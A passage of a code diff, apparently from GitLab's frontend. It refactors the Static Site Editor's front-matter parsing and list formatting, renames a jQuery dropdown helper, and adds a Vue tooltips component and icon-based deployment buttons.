+ v-model.lazy="editableSettings[key]"
+ type="text"
+ @input="onUpdate"
+ />
+ </gl-form-group>
+ </template>
+ </gl-form>
+</template>
diff --git a/app/assets/javascripts/static_site_editor/components/publish_toolbar.vue b/app/assets/javascripts/static_site_editor/components/publish_toolbar.vue
index 6cd2a4dd700..2d62964cb3b 100644
--- a/app/assets/javascripts/static_site_editor/components/publish_toolbar.vue
+++ b/app/assets/javascripts/static_site_editor/components/publish_toolbar.vue
@@ -6,6 +6,11 @@ export default {
GlButton,
},
props: {
+ hasSettings: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
returnUrl: {
type: String,
required: false,
@@ -31,12 +36,21 @@ export default {
s__('StaticSiteEditor|Return to site')
}}</gl-button>
<gl-button
+ v-if="hasSettings"
+ ref="settings"
+ :disabled="savingChanges"
+ @click="$emit('editSettings')"
+ >
+ {{ __('Settings') }}
+ </gl-button>
+ <gl-button
+ ref="submit"
variant="success"
:disabled="!saveable"
:loading="savingChanges"
@click="$emit('submit')"
>
- <span>{{ __('Submit Changes') }}</span>
+ {{ __('Submit changes') }}
</gl-button>
</div>
</div>
diff --git a/app/assets/javascripts/static_site_editor/services/formatter.js b/app/assets/javascripts/static_site_editor/services/formatter.js
index 92d5e8a5df8..9a5dcd307eb 100644
--- a/app/assets/javascripts/static_site_editor/services/formatter.js
+++ b/app/assets/javascripts/static_site_editor/services/formatter.js
@@ -1,3 +1,45 @@
+import { repeat } from 'lodash';
+
+const topLevelOrderedRegexp = /^\d{1,3}/;
+const nestedLineRegexp = /^\s+/;
+
+/**
+ * DISCLAIMER: This is a temporary fix that corrects the indentation
+ * spaces of list items. This workaround originates in the usage of
+ * the Static Site Editor to edit the Handbook. The Handbook uses a
+ * Markdown parser called Kramdown interprets lines indented
+ * with two spaces as content within a list. For example:
+ *
+ * 1. ordered list
+ * - nested unordered list
+ *
+ * The Static Site Editor uses a different Markdown parser based on the
+ * CommonMark specification (official Markdown spec) called ToastMark.
+ * When the SSE encounters a nested list with only two spaces, it flattens
+ * the list:
+ *
+ * 1. ordered list
+ * - nested unordered list
+ *
+ * This function attempts to correct this problem before the content is loaded
+ * by Toast UI.
+ */
+const correctNestedContentIndenation = source => {
+ const lines = source.split('\n');
+ let topLevelOrderedListDetected = false;
+
+ return lines
+ .reduce((result, line) => {
+ if (topLevelOrderedListDetected && nestedLineRegexp.test(line)) {
+ return [...result, line.replace(nestedLineRegexp, repeat(' ', 4))];
+ }
+
+ topLevelOrderedListDetected = topLevelOrderedRegexp.test(line);
+ return [...result, line];
+ }, [])
+ .join('\n');
+};
+
const removeOrphanedBrTags = source => {
/* Until the underlying Squire editor of Toast UI Editor resolves duplicate `<br>` tags, this
`replace` solution will clear out orphaned `<br>` tags that it generates. Additionally,
@@ -8,7 +50,7 @@ const removeOrphanedBrTags = source => {
};
const format = source => {
- return removeOrphanedBrTags(source);
+ return correctNestedContentIndenation(removeOrphanedBrTags(source));
};
export default format;
diff --git a/app/assets/javascripts/static_site_editor/services/image_service.js b/app/assets/javascripts/static_site_editor/services/image_service.js
index edc69d0579a..25ab1084572 100644
--- a/app/assets/javascripts/static_site_editor/services/image_service.js
+++ b/app/assets/javascripts/static_site_editor/services/image_service.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const getBinary = file => {
return new Promise((resolve, reject) => {
const reader = new FileReader();
diff --git a/app/assets/javascripts/static_site_editor/services/parse_source_file.js b/app/assets/javascripts/static_site_editor/services/parse_source_file.js
index 126dfe81b90..640186ee1d0 100644
--- a/app/assets/javascripts/static_site_editor/services/parse_source_file.js
+++ b/app/assets/javascripts/static_site_editor/services/parse_source_file.js
@@ -1,64 +1,40 @@
-const parseSourceFile = raw => {
- const frontMatterRegex = /(^---$[\s\S]*?^---$)/m;
- const preGroupedRegex = /([\s\S]*?)(^---$[\s\S]*?^---$)(\s*)([\s\S]*)/m; // preFrontMatter, frontMatter, spacing, and content
- let initial;
- let editable;
-
- const hasFrontMatter = source => frontMatterRegex.test(source);
+import grayMatter from 'gray-matter';
- const buildPayload = (source, header, spacing, body) => {
- return { raw: source, header, spacing, body };
- };
+const parseSourceFile = raw => {
+ const remake = source => grayMatter(source, {});
- const parse = source => {
- if (hasFrontMatter(source)) {
- const match = source.match(preGroupedRegex);
- const [, preFrontMatter, frontMatter, spacing, content] = match;
- const header = preFrontMatter + frontMatter;
+ let editable = remake(raw);
- return buildPayload(source, header, spacing, content);
+ const syncContent = (newVal, isBody) => {
+ if (isBody) {
+ editable.content = newVal;
+ } else {
+ editable = remake(newVal);
}
-
- return buildPayload(source, '', '', source);
};
- const syncEditable = () => {
- /*
- We re-parse as markdown editing could have added non-body changes (preFrontMatter, frontMatter, or spacing).
- Re-parsing additionally gets us the desired body that was extracted from the potentially mutated editable.raw
- */
- editable = parse(editable.raw);
- };
+ const trimmedEditable = () => grayMatter.stringify(editable).trim();
- const syncBodyToRaw = () => {
- editable.raw = `${editable.header}${editable.spacing}${editable.body}`;
- };
-
- const sync = (newVal, isBodyToRaw) => {
- const editableKey = isBodyToRaw ? 'body' : 'raw';
- editable[editableKey] = newVal;
+ const content = (isBody = false) => (isBody ? editable.content.trim() : trimmedEditable()); // gray-matter internally adds an eof newline so we trim to bypass, open issue: https://github.com/jonschlinkert/gray-matter/issues/96
- if (isBodyToRaw) {
- syncBodyToRaw();
- }
-
- syncEditable();
- };
+ const matter = () => editable.data;
- const content = (isBody = false) => {
- const editableKey = isBody ? 'body' : 'raw';
- return editable[editableKey];
+ const syncMatter = settings => {
+ const source = grayMatter.stringify(editable.content, settings);
+ syncContent(source);
};
- const isModified = () => initial.raw !== editable.raw;
+ const isModified = () => trimmedEditable() !== raw;
- initial = parse(raw);
- editable = parse(raw);
+ const hasMatter = () => editable.matter.length > 0;
return {
+ matter,
+ syncMatter,
content,
+ syncContent,
isModified,
- sync,
+ hasMatter,
};
};
diff --git a/app/assets/javascripts/subscription_select.js b/app/assets/javascripts/subscription_select.js
index 7206bbd7109..354ee00a977 100644
--- a/app/assets/javascripts/subscription_select.js
+++ b/app/assets/javascripts/subscription_select.js
@@ -1,11 +1,12 @@
import $ from 'jquery';
import { __ } from './locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default function subscriptionSelect() {
$('.js-subscription-event').each((i, element) => {
const fieldName = $(element).data('fieldName');
- return $(element).glDropdown({
+ return initDeprecatedJQueryDropdown($(element), {
selectable: true,
fieldName,
toggleLabel(selected, el, instance) {
diff --git a/app/assets/javascripts/templates/issuable_template_selector.js b/app/assets/javascripts/templates/issuable_template_selector.js
index 10ad4170930..22bbd083a5d 100644
--- a/app/assets/javascripts/templates/issuable_template_selector.js
+++ b/app/assets/javascripts/templates/issuable_template_selector.js
@@ -33,7 +33,7 @@ export default class IssuableTemplateSelector extends TemplateSelector {
this.templateWarningEl.find('.js-close-btn').on('click', () => {
// Explicitly check against 0 value
if (this.previousSelectedIndex !== undefined) {
- this.dropdown.data('glDropdown').selectRowAtIndex(this.previousSelectedIndex);
+ this.dropdown.data('deprecatedJQueryDropdown').selectRowAtIndex(this.previousSelectedIndex);
} else {
this.reset();
}
@@ -61,7 +61,7 @@ export default class IssuableTemplateSelector extends TemplateSelector {
}
setSelectedIndex() {
- this.previousSelectedIndex = this.dropdown.data('glDropdown').selectedIndex;
+ this.previousSelectedIndex = this.dropdown.data('deprecatedJQueryDropdown').selectedIndex;
}
onDropdownClicked(query) {
diff --git a/app/assets/javascripts/tooltips/components/tooltips.vue b/app/assets/javascripts/tooltips/components/tooltips.vue
new file mode 100644
index 00000000000..8307f878def
--- /dev/null
+++ b/app/assets/javascripts/tooltips/components/tooltips.vue
@@ -0,0 +1,116 @@
+<script>
+import { GlTooltip, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
+
+const getTooltipTitle = element => {
+ return element.getAttribute('title') || element.dataset.title;
+};
+
+const newTooltip = (element, config = {}) => {
+ const { placement, container, boundary, html, triggers } = element.dataset;
+ const title = getTooltipTitle(element);
+
+ return {
+ id: uniqueId('gl-tooltip'),
+ target: element,
+ title,
+ html,
+ placement,
+ container,
+ boundary,
+ triggers,
+ disabled: !title,
+ ...config,
+ };
+};
+
+export default {
+ components: {
+ GlTooltip,
+ },
+ directives: {
+ SafeHtml,
+ },
+ data() {
+ return {
+ tooltips: [],
+ };
+ },
+ created() {
+ this.observer = new MutationObserver(mutations => {
+ mutations.forEach(mutation => {
+ mutation.removedNodes.forEach(this.dispose);
+ });
+ });
+ },
+ beforeDestroy() {
+ this.observer.disconnect();
+ },
+ methods: {
+ addTooltips(elements, config) {
+ const newTooltips = elements
+ .filter(element => !this.tooltipExists(element))
+ .map(element => newTooltip(element, config));
+
+ newTooltips.forEach(tooltip => this.observe(tooltip));
+
+ this.tooltips.push(...newTooltips);
+ },
+ observe(tooltip) {
+ this.observer.observe(tooltip.target.parentElement, {
+ childList: true,
+ });
+ },
+ dispose(target) {
+ if (!target) {
+ this.tooltips = [];
+ } else {
+ const index = this.tooltips.indexOf(this.findTooltipByTarget(target));
+
+ if (index > -1) {
+ this.tooltips.splice(index, 1);
+ }
+ }
+ },
+ fixTitle(target) {
+ const tooltip = this.findTooltipByTarget(target);
+
+ if (tooltip) {
+ tooltip.title = target.getAttribute('title');
+ }
+ },
+ triggerEvent(target, event) {
+ const tooltip = this.findTooltipByTarget(target);
+
+ if (tooltip) {
+ this.$refs[tooltip.id][0].$emit(event);
+ }
+ },
+ tooltipExists(element) {
+ return Boolean(this.findTooltipByTarget(element));
+ },
+ findTooltipByTarget(element) {
+ return this.tooltips.find(tooltip => tooltip.target === element);
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-tooltip
+ v-for="(tooltip, index) in tooltips"
+ :id="tooltip.id"
+ :ref="tooltip.id"
+ :key="index"
+ :target="tooltip.target"
+ :triggers="tooltip.triggers"
+ :placement="tooltip.placement"
+ :container="tooltip.container"
+ :boundary="tooltip.boundary"
+ :disabled="tooltip.disabled"
+ >
+ <span v-if="tooltip.html" v-safe-html="tooltip.title"></span>
+ <span v-else>{{ tooltip.title }}</span>
+ </gl-tooltip>
+ </div>
+</template>
diff --git a/app/assets/javascripts/tooltips/index.js b/app/assets/javascripts/tooltips/index.js
new file mode 100644
index 00000000000..cfbd88d6c40
--- /dev/null
+++ b/app/assets/javascripts/tooltips/index.js
@@ -0,0 +1,120 @@
+import Vue from 'vue';
+import jQuery from 'jquery';
+import { toArray, isFunction } from 'lodash';
+import Tooltips from './components/tooltips.vue';
+
+let app;
+
+const EVENTS_MAP = {
+ hover: 'mouseenter',
+ click: 'click',
+ focus: 'focus',
+};
+
+const DEFAULT_TRIGGER = 'hover focus';
+const APP_ELEMENT_ID = 'gl-tooltips-app';
+
+const tooltipsApp = () => {
+ if (!app) {
+ const container = document.createElement('div');
+
+ container.setAttribute('id', APP_ELEMENT_ID);
+ document.body.appendChild(container);
+
+ app = new Vue({
+ render(h) {
+ return h(Tooltips, {
+ props: {
+ elements: this.elements,
+ },
+ ref: 'tooltips',
+ });
+ },
+ }).$mount(container);
+ }
+
+ return app.$refs.tooltips;
+};
+
+const isTooltip = (node, selector) => node.matches && node.matches(selector);
+
+const addTooltips = (elements, config) => {
+ tooltipsApp().addTooltips(toArray(elements), config);
+};
+
+const handleTooltipEvent = (rootTarget, e, selector, config = {}) => {
+ for (let { target } = e; target && target !== rootTarget; target = target.parentNode) {
+ if (isTooltip(target, selector)) {
+ addTooltips([target], {
+ show: true,
+ ...config,
+ });
+ break;
+ }
+ }
+};
+
+const applyToElements = (elements, handler) => toArray(elements).forEach(handler);
+
+const invokeBootstrapApi = (elements, method) => {
+ if (isFunction(elements.tooltip)) {
+ jQuery(elements).tooltip(method);
+ }
+};
+
+const isGlTooltipsEnabled = () => Boolean(window.gon.glTooltipsEnabled);
+
+const tooltipApiInvoker = ({ glHandler, bsHandler }) => (elements, ...params) => {
+ if (isGlTooltipsEnabled()) {
+ applyToElements(elements, glHandler);
+ } else {
+ bsHandler(elements, ...params);
+ }
+};
+
+export const initTooltips = (config = {}) => {
+ if (isGlTooltipsEnabled()) {
+ const triggers = config?.triggers || DEFAULT_TRIGGER;
+ const events = triggers.split(' ').map(trigger => EVENTS_MAP[trigger]);
+
+ events.forEach(event => {
+ document.addEventListener(
+ event,
+ e => handleTooltipEvent(document, e, config.selector, config),
+ true,
+ );
+ });
+
+ return tooltipsApp();
+ }
+
+ return invokeBootstrapApi(document.body, config);
+};
+export const dispose = tooltipApiInvoker({
+ glHandler: element => tooltipsApp().dispose(element),
+ bsHandler: elements => invokeBootstrapApi(elements, 'dispose'),
+});
+export const fixTitle = tooltipApiInvoker({
+ glHandler: element => tooltipsApp().fixTitle(element),
+ bsHandler: elements => invokeBootstrapApi(elements, '_fixTitle'),
+});
+export const enable = tooltipApiInvoker({
+ glHandler: element => tooltipsApp().triggerEvent(element, 'enable'),
+ bsHandler: elements => invokeBootstrapApi(elements, 'enable'),
+});
+export const disable = tooltipApiInvoker({
+ glHandler: element => tooltipsApp().triggerEvent(element, 'disable'),
+ bsHandler: elements => invokeBootstrapApi(elements, 'disable'),
+});
+export const hide = tooltipApiInvoker({
+ glHandler: element => tooltipsApp().triggerEvent(element, 'close'),
+ bsHandler: elements => invokeBootstrapApi(elements, 'hide'),
+});
+export const show = tooltipApiInvoker({
+ glHandler: element => tooltipsApp().triggerEvent(element, 'open'),
+ bsHandler: elements => invokeBootstrapApi(elements, 'show'),
+});
+export const destroy = () => {
+ tooltipsApp().$destroy();
+ app = null;
+};
diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js
index 10510595570..37ebe6b6c4d 100644
--- a/app/assets/javascripts/tracking.js
+++ b/app/assets/javascripts/tracking.js
@@ -126,14 +126,18 @@ export function initUserTracking() {
const opts = { ...DEFAULT_SNOWPLOW_OPTIONS, ...window.snowplowOptions };
window.snowplow('newTracker', opts.namespace, opts.hostname, opts);
+ document.dispatchEvent(new Event('SnowplowInitialized'));
+}
+
+export function initDefaultTrackers() {
+ if (!Tracking.enabled()) return;
+
window.snowplow('enableActivityTracking', 30, 30);
window.snowplow('trackPageView'); // must be after enableActivityTracking
- if (opts.formTracking) window.snowplow('enableFormTracking');
- if (opts.linkClickTracking) window.snowplow('enableLinkClickTracking');
+ if (window.snowplowOptions.formTracking) window.snowplow('enableFormTracking');
+ if (window.snowplowOptions.linkClickTracking) window.snowplow('enableLinkClickTracking');
Tracking.bindDocument();
Tracking.trackLoadEvents();
-
- document.dispatchEvent(new Event('SnowplowInitialized'));
}
diff --git a/app/assets/javascripts/ui_development_kit.js b/app/assets/javascripts/ui_development_kit.js
index be18ac5da24..4f32e143de8 100644
--- a/app/assets/javascripts/ui_development_kit.js
+++ b/app/assets/javascripts/ui_development_kit.js
@@ -1,8 +1,9 @@
import $ from 'jquery';
import Api from './api';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default () => {
- $('#js-project-dropdown').glDropdown({
+ initDeprecatedJQueryDropdown($('#js-project-dropdown'), {
data: (term, callback) => {
Api.projects(
term,
diff --git a/app/assets/javascripts/users_select/index.js b/app/assets/javascripts/users_select/index.js
index e45b0de9083..5f4260f26ff 100644
--- a/app/assets/javascripts/users_select/index.js
+++ b/app/assets/javascripts/users_select/index.js
@@ -11,8 +11,9 @@ import {
import axios from '../lib/utils/axios_utils';
import { s__, __, sprintf } from '../locale';
import ModalStore from '../boards/stores/modal_store';
-import { parseBoolean } from '../lib/utils/common_utils';
+import { parseBoolean, spriteIcon } from '../lib/utils/common_utils';
import { getAjaxUsersSelectOptions, getAjaxUsersSelectParams } from './utils';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
// TODO: remove eventHub hack after code splitting refactor
window.emitSidebarEvent = window.emitSidebarEvent || $.noop;
@@ -54,6 +55,7 @@ function UsersSelect(currentUser, els, options = {}) {
const defaultLabel = $dropdown.data('defaultLabel');
const issueURL = $dropdown.data('issueUpdate');
const $selectbox = $dropdown.closest('.selectbox');
+ const $assignToMeLink = $selectbox.next('.assign-to-me-link');
let $block = $selectbox.closest('.block');
const abilityName = $dropdown.data('abilityName');
let $value = $block.find('.value');
@@ -160,7 +162,7 @@ function UsersSelect(currentUser, els, options = {}) {
});
};
- $('.assign-to-me-link').on('click', e => {
+ $assignToMeLink.on('click', e => {
e.preventDefault();
$(e.currentTarget).hide();
@@ -224,7 +226,9 @@ function UsersSelect(currentUser, els, options = {}) {
});
};
collapsedAssigneeTemplate = template(
- '<% if( avatar ) { %> <a class="author-link" href="/<%- username %>"> <img width="24" class="avatar avatar-inline s24" alt="" src="<%- avatar %>"> </a> <% } else { %> <i class="fa fa-user"></i> <% } %>',
+ `<% if( avatar ) { %> <a class="author-link" href="/<%- username %>"> <img width="24" class="avatar avatar-inline s24" alt="" src="<%- avatar %>"> </a> <% } else { %> ${spriteIcon(
+ 'user',
+ )} <% } %>`,
);
assigneeTemplate = template(
`<% if (username) { %> <a class="author-link bold" href="/<%- username %>"> <% if( avatar ) { %> <img width="32" class="avatar avatar-inline s32" alt="" src="<%- avatar %>"> <% } %> <span class="author"><%- name %></span> <span class="username"> @<%- username %> </span> </a> <% } else { %> <span class="no-value assign-yourself">
@@ -233,14 +237,14 @@ function UsersSelect(currentUser, els, options = {}) {
closingTag: '</a>',
})}</span> <% } %>`,
);
- return $dropdown.glDropdown({
+ return initDeprecatedJQueryDropdown($dropdown, {
showMenuAbove,
data(term, callback) {
return userSelect.users(term, options, users => {
// GitLabDropdownFilter returns this.instance
// GitLabDropdownRemote returns this.options.instance
- const glDropdown = this.instance || this.options.instance;
- glDropdown.options.processData(term, users, callback);
+ const deprecatedJQueryDropdown = this.instance || this.options.instance;
+ deprecatedJQueryDropdown.options.processData(term, users, callback);
});
},
processData(term, data, callback) {
@@ -349,7 +353,7 @@ function UsersSelect(currentUser, els, options = {}) {
callback(users);
if (showMenuAbove) {
- $dropdown.data('glDropdown').positionMenuAbove();
+ $dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
}
},
filterable: true,
@@ -359,13 +363,13 @@ function UsersSelect(currentUser, els, options = {}) {
},
selectable: true,
fieldName: $dropdown.data('fieldName'),
- toggleLabel(selected, el, glDropdown) {
- const inputValue = glDropdown.filterInput.val();
+ toggleLabel(selected, el, deprecatedJQueryDropdown) {
+ const inputValue = deprecatedJQueryDropdown.filterInput.val();
if (this.multiSelect && inputValue === '') {
// Remove non-users from the fullData array
- const users = glDropdown.filteredFullData();
- const callback = glDropdown.parseData.bind(glDropdown);
+ const users = deprecatedJQueryDropdown.filteredFullData();
+ const callback = deprecatedJQueryDropdown.parseData.bind(deprecatedJQueryDropdown);
// Update the data model
this.processData(inputValue, users, callback);
@@ -448,9 +452,9 @@ function UsersSelect(currentUser, els, options = {}) {
}
if (getSelected().find(u => u === gon.current_user_id)) {
- $('.assign-to-me-link').hide();
+ $assignToMeLink.hide();
} else {
- $('.assign-to-me-link').show();
+ $assignToMeLink.show();
}
}
@@ -557,92 +561,99 @@ function UsersSelect(currentUser, els, options = {}) {
},
});
});
- import(/* webpackChunkName: 'select2' */ 'select2/select2')
- .then(() => {
- $('.ajax-users-select').each((i, select) => {
- const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
- options.skipLdap = $(select).hasClass('skip_ldap');
- const showNullUser = $(select).data('nullUser');
- const showAnyUser = $(select).data('anyUser');
- const showEmailUser = $(select).data('emailUser');
- const firstUser = $(select).data('firstUser');
- return $(select).select2({
- placeholder: __('Search for a user'),
- multiple: $(select).hasClass('multiselect'),
- minimumInputLength: 0,
- query(query) {
- return userSelect.users(query.term, options, users => {
- let name;
- const data = {
- results: users,
- };
- if (query.term.length === 0) {
- if (firstUser) {
- // Move current user to the front of the list
- const ref = data.results;
-
- for (let index = 0, len = ref.length; index < len; index += 1) {
- const obj = ref[index];
- if (obj.username === firstUser) {
- data.results.splice(index, 1);
- data.results.unshift(obj);
- break;
+
+ if ($('.ajax-users-select').length) {
+ import(/* webpackChunkName: 'select2' */ 'select2/select2')
+ .then(() => {
+ $('.ajax-users-select').each((i, select) => {
+ const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
+ options.skipLdap = $(select).hasClass('skip_ldap');
+ const showNullUser = $(select).data('nullUser');
+ const showAnyUser = $(select).data('anyUser');
+ const showEmailUser = $(select).data('emailUser');
+ const firstUser = $(select).data('firstUser');
+ return $(select).select2({
+ placeholder: __('Search for a user'),
+ multiple: $(select).hasClass('multiselect'),
+ minimumInputLength: 0,
+ query(query) {
+ return userSelect.users(query.term, options, users => {
+ let name;
+ const data = {
+ results: users,
+ };
+ if (query.term.length === 0) {
+ if (firstUser) {
+ // Move current user to the front of the list
+ const ref = data.results;
+
+ for (let index = 0, len = ref.length; index < len; index += 1) {
+ const obj = ref[index];
+ if (obj.username === firstUser) {
+ data.results.splice(index, 1);
+ data.results.unshift(obj);
+ break;
+ }
}
}
- }
- if (showNullUser) {
- const nullUser = {
- name: s__('UsersSelect|Unassigned'),
- id: 0,
- };
- data.results.unshift(nullUser);
- }
- if (showAnyUser) {
- name = showAnyUser;
- if (name === true) {
- name = s__('UsersSelect|Any User');
+ if (showNullUser) {
+ const nullUser = {
+ name: s__('UsersSelect|Unassigned'),
+ id: 0,
+ };
+ data.results.unshift(nullUser);
+ }
+ if (showAnyUser) {
+ name = showAnyUser;
+ if (name === true) {
+ name = s__('UsersSelect|Any User');
+ }
+ const anyUser = {
+ name,
+ id: null,
+ };
+ data.results.unshift(anyUser);
}
- const anyUser = {
- name,
- id: null,
+ }
+ if (
+ showEmailUser &&
+ data.results.length === 0 &&
+ query.term.match(/^[^@]+@[^@]+$/)
+ ) {
+ const trimmed = query.term.trim();
+ const emailUser = {
+ name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
+ username: trimmed,
+ id: trimmed,
+ invite: true,
};
- data.results.unshift(anyUser);
+ data.results.unshift(emailUser);
}
- }
- if (showEmailUser && data.results.length === 0 && query.term.match(/^[^@]+@[^@]+$/)) {
- const trimmed = query.term.trim();
- const emailUser = {
- name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
- username: trimmed,
- id: trimmed,
- invite: true,
- };
- data.results.unshift(emailUser);
- }
- return query.callback(data);
- });
- },
- initSelection() {
- const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
- return userSelect.initSelection.apply(userSelect, args);
- },
- formatResult() {
- const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
- return userSelect.formatResult.apply(userSelect, args);
- },
- formatSelection() {
- const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
- return userSelect.formatSelection.apply(userSelect, args);
- },
- dropdownCssClass: 'ajax-users-dropdown',
- // we do not want to escape markup since we are displaying html in results
- escapeMarkup(m) {
- return m;
- },
+ return query.callback(data);
+ });
+ },
+ initSelection() {
+ const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
+ return userSelect.initSelection.apply(userSelect, args);
+ },
+ formatResult() {
+ const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
+ return userSelect.formatResult.apply(userSelect, args);
+ },
+ formatSelection() {
+ const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
+ return userSelect.formatSelection.apply(userSelect, args);
+ },
+ dropdownCssClass: 'ajax-users-dropdown',
+ // we do not want to escape markup since we are displaying html in results
+ escapeMarkup(m) {
+ return m;
+ },
+ });
});
- });
- })
- .catch(() => {});
+ })
+ .catch(() => {});
+ }
}
UsersSelect.prototype.initSelection = function(element, callback) {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue b/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue
index 24cd9d6428d..55fa24fb51a 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue
@@ -1,11 +1,10 @@
<script>
-import { GlTooltipDirective, GlLink } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlLink, GlIcon } from '@gitlab/ui';
export default {
components: {
GlLink,
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -35,7 +34,7 @@ export default {
target="_blank"
class="d-flex-center pl-1"
>
- <icon name="question" />
+ <gl-icon name="question" />
</gl-link>
</div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js b/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js
index a7ab11290eb..66de4f8b682 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js
@@ -11,3 +11,9 @@ export const CANCELED = 'canceled';
export const STOPPING = 'stopping';
export const DEPLOYING = 'deploying';
export const REDEPLOYING = 'redeploying';
+
+export const ACT_BUTTON_ICONS = {
+ play: 'play',
+ repeat: 'repeat',
+ stop: 'stop',
+};
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue
index 7d74d5531b4..cc3efae565a 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue
@@ -1,12 +1,12 @@
<script>
-import { GlTooltipDirective, GlDeprecatedButton } from '@gitlab/ui';
+import { GlTooltipDirective, GlButton } from '@gitlab/ui';
import { __ } from '~/locale';
import { RUNNING } from './constants';
export default {
name: 'DeploymentActionButton',
components: {
- GlDeprecatedButton,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -35,6 +35,10 @@ export default {
required: false,
default: '',
},
+ icon: {
+ type: String,
+ required: true,
+ },
},
computed: {
isActionInProgress() {
@@ -58,18 +62,19 @@ export default {
</script>
<template>
- <span v-gl-tooltip :title="actionInProgressTooltip" class="d-inline-block" tabindex="0">
- <gl-deprecated-button
+ <span v-gl-tooltip :title="actionInProgressTooltip" class="gl-display-inline-block" tabindex="0">
+ <gl-button
v-gl-tooltip
+ category="primary"
+ size="small"
:title="buttonTitle"
:loading="isLoading"
:disabled="isActionInProgress"
- :class="`btn btn-default btn-sm inline gl-ml-2 ${containerClasses}`"
+ :class="`inline gl-ml-2 ${containerClasses}`"
+ :icon="icon"
@click="$emit('click')"
>
- <span class="d-inline-flex align-items-baseline">
- <slot> </slot>
- </span>
- </gl-deprecated-button>
+ <slot> </slot>
+ </gl-button>
</span>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue
index af0b4087d46..208df03b6a4 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue
@@ -1,5 +1,4 @@
<script>
-import { GlIcon } from '@gitlab/ui';
import { __, s__ } from '~/locale';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { visitUrl } from '~/lib/utils/url_utility';
@@ -7,14 +6,22 @@ import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import MRWidgetService from '../../services/mr_widget_service';
import DeploymentActionButton from './deployment_action_button.vue';
import DeploymentViewButton from './deployment_view_button.vue';
-import { MANUAL_DEPLOY, FAILED, SUCCESS, STOPPING, DEPLOYING, REDEPLOYING } from './constants';
+import {
+ MANUAL_DEPLOY,
+ FAILED,
+ SUCCESS,
+ STOPPING,
+ DEPLOYING,
+ REDEPLOYING,
+ ACT_BUTTON_ICONS,
+} from './constants';
export default {
name: 'DeploymentActions',
+ btnIcons: ACT_BUTTON_ICONS,
components: {
DeploymentActionButton,
DeploymentViewButton,
- GlIcon,
},
mixins: [glFeatureFlagsMixin()],
props: {
@@ -151,10 +158,10 @@ export default {
:action-in-progress="actionInProgress"
:actions-configuration="$options.actionsConfiguration[constants.DEPLOYING]"
:computed-deployment-status="computedDeploymentStatus"
+ :icon="$options.btnIcons.play"
container-classes="js-manual-deploy-action"
@click="deployManually"
>
- <gl-icon name="play" />
<span>{{ $options.actionsConfiguration[constants.DEPLOYING].buttonText }}</span>
</deployment-action-button>
<deployment-action-button
@@ -162,10 +169,10 @@ export default {
:action-in-progress="actionInProgress"
:actions-configuration="$options.actionsConfiguration[constants.REDEPLOYING]"
:computed-deployment-status="computedDeploymentStatus"
+ :icon="$options.btnIcons.repeat"
container-classes="js-manual-redeploy-action"
@click="redeploy"
>
- <gl-icon name="repeat" />
<span>{{ $options.actionsConfiguration[constants.REDEPLOYING].buttonText }}</span>
</deployment-action-button>
<deployment-view-button
@@ -181,10 +188,9 @@ export default {
:computed-deployment-status="computedDeploymentStatus"
:actions-configuration="$options.actionsConfiguration[constants.STOPPING]"
:button-title="$options.actionsConfiguration[constants.STOPPING].buttonText"
+ :icon="$options.btnIcons.stop"
container-classes="js-stop-env"
@click="stopEnvironment"
- >
- <gl-icon name="stop" />
- </deployment-action-button>
+ />
</div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_view_button.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_view_button.vue
index b12250d1d1c..157d6d60290 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_view_button.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_view_button.vue
@@ -1,17 +1,23 @@
<script>
